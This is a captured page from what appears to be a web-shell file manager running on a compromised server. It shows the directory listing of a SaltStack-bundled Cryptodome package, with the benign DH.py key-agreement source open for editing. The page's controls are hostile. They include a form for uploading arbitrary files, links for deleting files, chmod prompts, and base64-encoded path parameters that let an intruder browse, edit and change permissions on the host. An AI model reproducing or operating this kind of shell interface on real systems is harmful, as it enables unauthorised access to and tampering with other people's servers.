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<hr>DH.py<form method=post action="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w%3D&f=REgucHk%3D"><input name="f" value="DH.py"><textarea name="t">from Cryptodome.Util.number import long_to_bytes
from Cryptodome.PublicKey.ECC import (EccKey,
                                  construct,
                                  _import_curve25519_public_key,
                                  _import_curve448_public_key)


def _compute_ecdh(key_priv, key_pub):
    pointP = key_pub.pointQ * key_priv.d
    if pointP.is_point_at_infinity():
         raise ValueError(&quot;Invalid ECDH point&quot;)

    if key_priv.curve == &quot;Curve25519&quot;:
        z = bytearray(pointP.x.to_bytes(32, byteorder='little'))
    elif key_priv.curve == &quot;Curve448&quot;:
        z = bytearray(pointP.x.to_bytes(56, byteorder='little'))
    else:
        # See Section 5.7.1.2 in NIST SP 800-56Ar3
        z = long_to_bytes(pointP.x, pointP.size_in_bytes())
    return z


def import_x25519_public_key(encoded):
    &quot;&quot;&quot;Create a new X25519 public key object,
    starting from the key encoded as raw ``bytes``,
    in the format described in RFC7748.

    Args:
      encoded (bytes):
        The x25519 public key to import.
        It must be 32 bytes.

    Returns:
      :class:`Cryptodome.PublicKey.EccKey` : a new ECC key object.

    Raises:
      ValueError: when the given key cannot be parsed.
    &quot;&quot;&quot;

    x = _import_curve25519_public_key(encoded)
    return construct(curve='Curve25519', point_x=x)


def import_x25519_private_key(encoded):
    &quot;&quot;&quot;Create a new X25519 private key object,
    starting from the key encoded as raw ``bytes``,
    in the format described in RFC7748.

    Args:
      encoded (bytes):
        The X25519 private key to import.
        It must be 32 bytes.

    Returns:
      :class:`Cryptodome.PublicKey.EccKey` : a new ECC key object.

    Raises:
      ValueError: when the given key cannot be parsed.
    &quot;&quot;&quot;

    return construct(seed=encoded, curve=&quot;Curve25519&quot;)


def import_x448_public_key(encoded):
    &quot;&quot;&quot;Create a new X448 public key object,
    starting from the key encoded as raw ``bytes``,
    in the format described in RFC7748.

    Args:
      encoded (bytes):
        The x448 public key to import.
        It must be 56 bytes.

    Returns:
      :class:`Cryptodome.PublicKey.EccKey` : a new ECC key object.

    Raises:
      ValueError: when the given key cannot be parsed.
    &quot;&quot;&quot;

    x = _import_curve448_public_key(encoded)
    return construct(curve='Curve448', point_x=x)


def import_x448_private_key(encoded):
    &quot;&quot;&quot;Create a new X448 private key object,
    starting from the key encoded as raw ``bytes``,
    in the format described in RFC7748.

    Args:
      encoded (bytes):
        The X448 private key to import.
        It must be 56 bytes.

    Returns:
      :class:`Cryptodome.PublicKey.EccKey` : a new ECC key object.

    Raises:
      ValueError: when the given key cannot be parsed.
    &quot;&quot;&quot;

    return construct(seed=encoded, curve=&quot;Curve448&quot;)


def key_agreement(**kwargs):
    &quot;&quot;&quot;Perform a Diffie-Hellman key agreement.

    Keywords:
      kdf (callable):
        A key derivation function that accepts ``bytes`` as input and returns
        ``bytes``.
      static_priv (EccKey):
        The local static private key. Optional.
      static_pub (EccKey):
        The static public key that belongs to the peer. Optional.
      eph_priv (EccKey):
        The local ephemeral private key, generated for this session. Optional.
      eph_pub (EccKey):
        The ephemeral public key, received from the peer for this session. Optional.

    At least two keys must be passed, of which one is a private key and one
    a public key.

    Returns (bytes):
      The derived secret key material.
    &quot;&quot;&quot;

    static_priv = kwargs.get('static_priv', None)
    static_pub = kwargs.get('static_pub', None)
    eph_priv = kwargs.get('eph_priv', None)
    eph_pub = kwargs.get('eph_pub', None)
    kdf = kwargs.get('kdf', None)

    if kdf is None:
        raise ValueError(&quot;'kdf' is mandatory&quot;)

    count_priv = 0
    count_pub = 0
    curve = None

    def check_curve(curve, key, name, private):
        if not isinstance(key, EccKey):
            raise TypeError(&quot;'%s' must be an ECC key&quot; % name)
        if private and not key.has_private():
            raise TypeError(&quot;'%s' must be a private ECC key&quot; % name)
        if curve is None:
            curve = key.curve
        elif curve != key.curve:
            raise TypeError(&quot;'%s' is defined on an incompatible curve&quot; % name)
        return curve

    if static_priv is not None:
        curve = check_curve(curve, static_priv, 'static_priv', True)
        count_priv += 1

    if static_pub is not None:
        curve = check_curve(curve, static_pub, 'static_pub', False)
        count_pub += 1

    if eph_priv is not None:
        curve = check_curve(curve, eph_priv, 'eph_priv', True)
        count_priv += 1

    if eph_pub is not None:
        curve = check_curve(curve, eph_pub, 'eph_pub', False)
        count_pub += 1

    if (count_priv + count_pub) &lt; 2 or count_priv == 0 or count_pub == 0:
        raise ValueError(&quot;Too few keys for the ECDH key agreement&quot;)

    Zs = b''
    Ze = b''

    if static_priv and static_pub:
        # C(*, 2s)
        Zs = _compute_ecdh(static_priv, static_pub)

    if eph_priv and eph_pub:
        # C(2e, 0s) or C(2e, 2s)
        if bool(static_priv) != bool(static_pub):
            raise ValueError(&quot;DH mode C(2e, 1s) is not supported&quot;)
        Ze = _compute_ecdh(eph_priv, eph_pub)
    elif eph_priv and static_pub:
        # C(1e, 2s) or C(1e, 1s)
        Ze = _compute_ecdh(eph_priv, static_pub)
    elif eph_pub and static_priv:
        # C(1e, 2s) or C(1e, 1s)
        Ze = _compute_ecdh(static_priv, eph_pub)

    Z = Ze + Zs

    return kdf(Z)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /opt/saltstack/salt/lib/python3.10/site-packages/Cryptodome/Protocol<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWU="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=REgucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=REgucHk="/>DH.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=REgucHk=&c=`+btoa(c):0" value="0644"></td><td>5644</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=REgucHlp">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=REgucHlp"/>DH.pyi</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=REgucHlp&c=`+btoa(c):0" value="0644"></td><td>709</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=SFBLRS5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=SFBLRS5weQ=="/>HPKE.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=SFBLRS5weQ==&c=`+btoa(c):0" value="0644"></td><td>16978</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=S0RGLnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=S0RGLnB5"/>KDF.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=S0RGLnB5&c=`+btoa(c):0" value="0644"></td><td>22441</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=S0RGLnB5aQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=S0RGLnB5aQ=="/>KDF.pyi</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=S0RGLnB5aQ==&c=`+btoa(c):0" value="0644"></td><td>2152</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=U2VjcmV0U2hhcmluZy5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=U2VjcmV0U2hhcmluZy5weQ=="/>SecretSharing.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=U2VjcmV0U2hhcmluZy5weQ==&c=`+btoa(c):0" value="0644"></td><td>9138</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=U2VjcmV0U2hhcmluZy5weWk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=U2VjcmV0U2hhcmluZy5weWk="/>SecretSharing.pyi</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=U2VjcmV0U2hhcmluZy5weWk=&c=`+btoa(c):0" value="0644"></td><td>798</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>1554</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=X19pbml0X18ucHlp">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=X19pbml0X18ucHlp"/>__init__.pyi</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=X19pbml0X18ucHlp&c=`+btoa(c):0" value="0644"></td><td>43</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2wvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&x=X3NjcnlwdC5hYmkzLnNv">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=X3NjcnlwdC5hYmkzLnNv"/>_scrypt.abi3.so</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL0NyeXB0b2RvbWUvUHJvdG9jb2w=&f=X3NjcnlwdC5hYmkzLnNv&c=`+btoa(c):0" value="0644"></td><td>6096</td></tr></table>